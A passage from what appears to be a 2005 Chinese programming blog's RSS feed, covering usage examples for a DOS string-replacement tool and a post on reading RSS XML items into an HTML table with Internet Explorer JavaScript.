<P>&nbsp;[/L:m-|m+|m-n|m]&nbsp;对于行,只替换(0,m]个,或[m,infinite),或[m,n]或第m行.m&gt;=n&gt;0 (行号从1开始)<BR>&nbsp;[/P:m-|m+|m-n|m]&nbsp;对于出现的原始字符串,同上<BR>&nbsp;[/I]&nbsp;&nbsp;&nbsp;&nbsp;搜索时忽略大小写<BR>&nbsp;[/O]&nbsp;&nbsp;&nbsp;&nbsp;只显示替换过的行<BR>&nbsp;original&nbsp;&nbsp;&nbsp;要替换的字符串<BR>&nbsp;[objective]&nbsp;&nbsp;&nbsp;用来替换的字符串，如果为空则替换为空字符串<BR>&nbsp;[/S:srcfile]&nbsp;&nbsp;&nbsp;&nbsp; 指定源文件,如果没有指定,将处理键入的或由另一命令产生的文字<BR>&nbsp;[/C]&nbsp;&nbsp;&nbsp;&nbsp;只有当指定源文件时有效。用替换的结果覆盖源文件<BR>&nbsp;[/E]&nbsp;&nbsp;&nbsp;&nbsp;消除空行<BR>&nbsp;&nbsp;&nbsp; [/?]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示帮助<BR>*/</P>
<P>例子(在DOS命令行下):<BR>1:<BR>echo abcdef | strrpc abc def<BR>defdef</P>
<P>2:<BR>echo abcdef | strrpc aBC def /i<BR>defdef</P>
<P>3:<BR>echo abcabcdef | strrpc Abc def /i /p:2<BR>abcdefdef</P>
<P>创建c:\test.txt内容如下<BR>一.简单批处理内部命令简介<BR>1.Echo 命令<BR>打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。<BR>语法<BR>echo [{ on|off }] [message]<BR>Sample：@echo off / echo hello world<BR>在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用&gt; &gt;&gt; ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。</P>
<P>然后执行dos命令:<BR>4:<BR>strrpc echo 回音 /i /L:5-6 /p:1- /s:c:\test.txt /o<BR>回音 [{ on|off }] [message]</P>
<P>5:<BR>strrpc echo 回音 /i /L:5-6 /p:1- /s:c:\test.txt /o &gt;result.txt<BR>result.txt内容为<BR>回音 [{ on|off }] [message]</P>
<P>第4个和第5个例子解释： 把c:\test.txt中的从第5行到第6行的第一次出现的不区分大小写"echo"替换为"回音"，并只把替换过的行的替换结果输出到控制台或当前目录下的result.txt文件。</P>
<P>&nbsp;</P>
<P><BR><BR>附件<A HREF="/Files/Raistlin/strrpc.zip">ver0.001</A>&nbsp;<A HREF="/Files/Raistlin/strrpcV10.zip">ver1.0</A></P><img src ="http://www.cnitblog.com/Raistlin/aggbug/4329.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-11-11 13:51 <a href="http://www.cnitblog.com/Raistlin/archive/2005/11/11/4329.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>xml island和javascript和xsl</title><link>http://www.cnitblog.com/Raistlin/archive/2005/11/08/4068.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Tue, 08 Nov 2005 00:44:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/11/08/4068.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/4068.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/11/08/4068.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/4068.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/4068.html</trackback:ping><description><![CDATA[<TABLE class="fixedTable blogpost" cellSpacing=0 width="100%" border=0>
<TBODY>
<TR>
<TD class=bvh8></TD></TR>
<TR>
<TD id=msgcns!1pvr5thyAIwicGdvbHKCUzZw!238>
<P><A href="http://msdn.microsoft.com/workshop/author/dhtml/reference/objects/xml.asp" rel=nofollow><FONT color=#003399>msdn关于xml element</FONT></A><BR><A href="http://www.w3schools.com/xml/xml_data_island.asp" rel=nofollow><FONT color=#003399>w3schools中关于xml island</FONT></A></P>
<P>但对于不规则的xml文件，我死活找不到使用数据岛的方法。好像xml island把xml当成一个类似数据库的表，直接把根目录下的元素当成recordset。所以对于xml文件如下找不到解决的办法：<BR><BR></P>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #0000ff">&lt;?</SPAN><SPAN style="COLOR: #ff00ff">xml&nbsp;version="1.0"&nbsp;encoding="gb2312"</SPAN><SPAN style="COLOR: #0000ff">?&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #008000">&lt;!--</SPAN><SPAN style="COLOR: #008000">&nbsp;file&nbsp;name&nbsp;=&nbsp;rss_down_s10.xml</SPAN><SPAN style="COLOR: #008000">--&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">&lt;</SPAN><SPAN style="COLOR: #800000">rss&nbsp;</SPAN><SPAN style="COLOR: #ff0000">version</SPAN><SPAN style="COLOR: #0000ff">="2.0"</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">&lt;</SPAN><SPAN style="COLOR: #800000">channel</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">&lt;</SPAN><SPAN style="COLOR: #800000">title</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN><SPAN style="COLOR: #000000">123&nbsp;-&nbsp;旅游杂志&nbsp;</SPAN><SPAN style="COLOR: #0000ff">&lt;/</SPAN><SPAN style="COLOR: #800000">title</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">&lt;</SPAN><SPAN style="COLOR: #800000">link</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN><SPAN style="COLOR: #000000">http://www.china-data.com.cn</SPAN><SPAN style="COLOR: #0000ff">&lt;/</SPAN><SPAN style="COLOR: #800000">link</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<IMG src="http://www.cnitblog.com/images/dot.gif"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">&lt;</SPAN><SPAN style="COLOR: #800000">item</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">&lt;</SPAN><SPAN style="COLOR: #800000">title</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN><SPAN style="COLOR: #000000">[旅游杂志]杭州西湖&nbsp;</SPAN><SPAN style="COLOR: #0000ff">&lt;/</SPAN><SPAN style="COLOR: #800000">title</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">&lt;</SPAN><SPAN style="COLOR: #800000">link</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN><SPAN style="COLOR: #000000">http://www.china-data.com.cn/downinfo/93.html</SPAN><SPAN style="COLOR: #0000ff">&lt;/</SPAN><SPAN style="COLOR: #800000">link</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<IMG src="http://www.cnitblog.com/images/dot.gif"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">&lt;/</SPAN><SPAN style="COLOR: #800000">item</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">&lt;</SPAN><SPAN style="COLOR: #800000">item</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">&lt;</SPAN><SPAN style="COLOR: #800000">title</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN><SPAN style="COLOR: #000000">[旅游杂志]桂林旅游&nbsp;</SPAN><SPAN style="COLOR: #0000ff">&lt;/</SPAN><SPAN style="COLOR: #800000">title</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">&lt;</SPAN><SPAN style="COLOR: #800000">link</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN><SPAN style="COLOR: #000000">http://www.china-data.com.cn/downinfo/92.html</SPAN><SPAN style="COLOR: #0000ff">&lt;/</SPAN><SPAN style="COLOR: #800000">link</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<IMG src="http://www.cnitblog.com/images/dot.gif"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">&lt;/</SPAN><SPAN style="COLOR: #800000">item</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<IMG src="http://www.cnitblog.com/images/dot.gif">(item&nbsp;s)<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">&lt;/</SPAN><SPAN style="COLOR: #800000">channel</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #0000ff">&lt;/</SPAN><SPAN style="COLOR: #800000">rss</SPAN><SPAN style="COLOR: #0000ff">&gt;</SPAN></DIV>
<P><BR><BR></P>
<P>为了获取前10条item的数据，只好土炮制造javascript如下</P>
<P></P>
<DIV style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top><SPAN style="COLOR: #000000"><!</SPAN><SPAN style="COLOR: #000000">DOCTYPE&nbsp;HTML&nbsp;PUBLIC&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">-//W3C//DTD&nbsp;HTML&nbsp;4.0&nbsp;Transitional//EN</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">&lt;</SPAN><SPAN style="COLOR: #000000">HTML</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">&lt;</SPAN><SPAN style="COLOR: #000000">HEAD</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">&lt;</SPAN><SPAN style="COLOR: #000000">TITLE</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000">Test</SPAN><SPAN style="COLOR: #000000"></< SPAN><SPAN style="COLOR: #000000">TITLE</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/None.gif" align=top></SPAN><SPAN style="COLOR: #000000">&lt;</SPAN><SPAN style="COLOR: #000000">script&nbsp;language</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">JavaScript</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000">&nbsp;<BR><IMG id=Codehighlighter1_150_915_Open_Image onclick="this.style.display='none'; Codehighlighter1_150_915_Open_Text.style.display='none'; Codehighlighter1_150_915_Closed_Image.style.display='inline'; Codehighlighter1_150_915_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockStart.gif" align=top><IMG id=Codehighlighter1_150_915_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_150_915_Closed_Text.style.display='none'; Codehighlighter1_150_915_Open_Image.style.display='inline'; Codehighlighter1_150_915_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">function</SPAN><SPAN style="COLOR: #000000">&nbsp;load()&nbsp;</SPAN><SPAN id=Codehighlighter1_150_915_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><IMG src="http://www.cnitblog.com/images/dot.gif"></SPAN><SPAN id=Codehighlighter1_150_915_Open_Text><SPAN style="COLOR: #000000">{&nbsp;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">var</SPAN><SPAN style="COLOR: #000000">&nbsp;xmlDoc</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;ActiveXObject(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Microsoft.XMLDOM</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xmlDoc.load(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">rss_Down_s10.xml</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);&nbsp;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">var</SPAN><SPAN style="COLOR: #000000">&nbsp;channelNode&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;xmlDoc.documentElement.firstChild;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">var</SPAN><SPAN style="COLOR: #000000">&nbsp;objNodeList&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;channelNode.selectNodes(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">//item</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR><IMG id=Codehighlighter1_452_909_Open_Image onclick="this.style.display='none'; Codehighlighter1_452_909_Open_Text.style.display='none'; Codehighlighter1_452_909_Closed_Image.style.display='inline'; Codehighlighter1_452_909_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><IMG id=Codehighlighter1_452_909_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_452_909_Closed_Text.style.display='none'; Codehighlighter1_452_909_Open_Image.style.display='inline'; Codehighlighter1_452_909_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedSubBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">for</SPAN><SPAN style="COLOR: #000000">(</SPAN><SPAN style="COLOR: #0000ff">var</SPAN><SPAN style="COLOR: #000000">&nbsp;count&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">;count&nbsp;</SPAN><SPAN style="COLOR: #000000">&lt;</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">10</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">&amp;&amp;</SPAN><SPAN style="COLOR: #000000">&nbsp;count&nbsp;</SPAN><SPAN style="COLOR: #000000">&lt;=</SPAN><SPAN style="COLOR: #000000">&nbsp;objNodeList.length;count&nbsp;</SPAN><SPAN style="COLOR: #000000">++</SPAN><SPAN style="COLOR: #000000">)</SPAN><SPAN id=Codehighlighter1_452_909_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><IMG src="http://www.cnitblog.com/images/dot.gif"></SPAN><SPAN id=Codehighlighter1_452_909_Open_Text><SPAN style="COLOR: #000000">{<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">var</SPAN><SPAN style="COLOR: #000000">&nbsp;itemnode&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;objNodeList.item(count);<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">var</SPAN><SPAN style="COLOR: #000000">&nbsp;titleText&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">""</SPAN><SPAN style="COLOR: #000000">;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">var</SPAN><SPAN style="COLOR: #000000">&nbsp;titleNode&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;itemnode.selectSingleNode(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">title</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">(titleNode&nbsp;</SPAN><SPAN style="COLOR: #000000">!=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">null</SPAN><SPAN style="COLOR: #000000">)<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;titleText&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;titleNode.text;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">var</SPAN><SPAN style="COLOR: #000000">&nbsp;linkText&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">""</SPAN><SPAN style="COLOR: #000000">;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">var</SPAN><SPAN style="COLOR: #000000">&nbsp;linkNode&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;itemnode.selectSingleNode(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">link</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">(linkNode&nbsp;</SPAN><SPAN style="COLOR: #000000">!=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">null</SPAN><SPAN style="COLOR: #000000">)<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;linkText&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;linkNode.text;<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;addRow(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">test</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,count,titleText,linkText);<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</SPAN></SPAN><SPAN style="COLOR: #000000"><BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}</SPAN></SPAN><SPAN style="COLOR: #000000">&nbsp;<BR><IMG id=Codehighlighter1_958_1525_Open_Image onclick="this.style.display='none'; Codehighlighter1_958_1525_Open_Text.style.display='none'; Codehighlighter1_958_1525_Closed_Image.style.display='inline'; Codehighlighter1_958_1525_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ExpandedBlockStart.gif" align=top><IMG id=Codehighlighter1_958_1525_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_958_1525_Closed_Text.style.display='none'; Codehighlighter1_958_1525_Open_Image.style.display='inline'; Codehighlighter1_958_1525_Open_Text.style.display='inline';" src="http://www.cnitblog.com/images/OutliningIndicators/ContractedBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">function</SPAN><SPAN style="COLOR: #000000">&nbsp;addRow(id,index,title,link)</SPAN><SPAN id=Codehighlighter1_958_1525_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><IMG src="http://www.cnitblog.com/images/dot.gif"></SPAN><SPAN id=Codehighlighter1_958_1525_Open_Text><SPAN style="COLOR: #000000">{<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">var</SPAN><SPAN style="COLOR: #000000">&nbsp;tbody&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;document.getElementById(id).getElementsByTagName(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">TBODY</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">)[</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">];<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">var</SPAN><SPAN style="COLOR: #000000">&nbsp;row&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;document.createElement(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">TR</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">)<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">var</SPAN><SPAN style="COLOR: #000000">&nbsp;td0&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;document.createElement(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">TD</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">)<BR><IMG src="http://www.cnitblog.com/images/OutliningIndicators/InBlock.gif" 